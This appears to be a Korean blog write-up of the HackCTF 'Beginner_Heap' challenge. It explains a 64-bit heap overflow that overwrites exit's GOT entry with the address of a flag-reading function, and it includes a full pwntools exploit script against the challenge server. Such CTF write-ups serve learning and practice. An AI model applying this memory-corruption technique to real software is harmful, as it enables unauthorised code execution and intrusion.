Pwnable/HackCTF

Beginner_Heap

Lucvs 2020. 8. 28. 18:16

64bit + Heap 영역 문제이다. Heap 영역은 Stack 영역과 다르게 메모리가 낮은 주소 → 높은 주소 로 자란다는 것을 기억하자.

 

우선  beginner_heap.bin 바이너리 파일을 분석해보자.

 

main 함수부터 보자. 첫번째 fgets 로 입력받는 값은 v3 + 1 에 저장되고, 두번째 fgets 로 입력 받는 값은 v4 + 1 에 저장된다. 첫번째 입력에서 v3, v3 + 1, v4  NOP 로, v4 + 1 을 exit_got 로 입력해주면 될 것 같다. 메모리 구조를 살펴보자.

 

—————————— High Address

| v4 + 1 (8) |

——————————

| v4 (16) |

——————————

| v3 + 1 (8) |

——————————

| v3 (16) |

—————————— Low Address

 

또한 sub_400826 함수는 flag 를 읽어주는 함수인 것 같다. 두번째 입력에서는 exit_got 가 있던 v4 + 1 의 위치에 sub_400826 함수의 주소인 0x400826 덮어주면 될 것 같다.

 

바로 payload 를 작성하여 exploit 하자.

 

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3016)
elf = ELF("./beginner_heap.bin")

exit_got = elf.got['exit']
get_flag = 0x400826

payload_1 = "\x90"*40
payload_1 += p64(exit_got)

payload_2 = p64(get_flag)

p.sendline(payload_1)
p.sendline(payload_2)

p.interactive()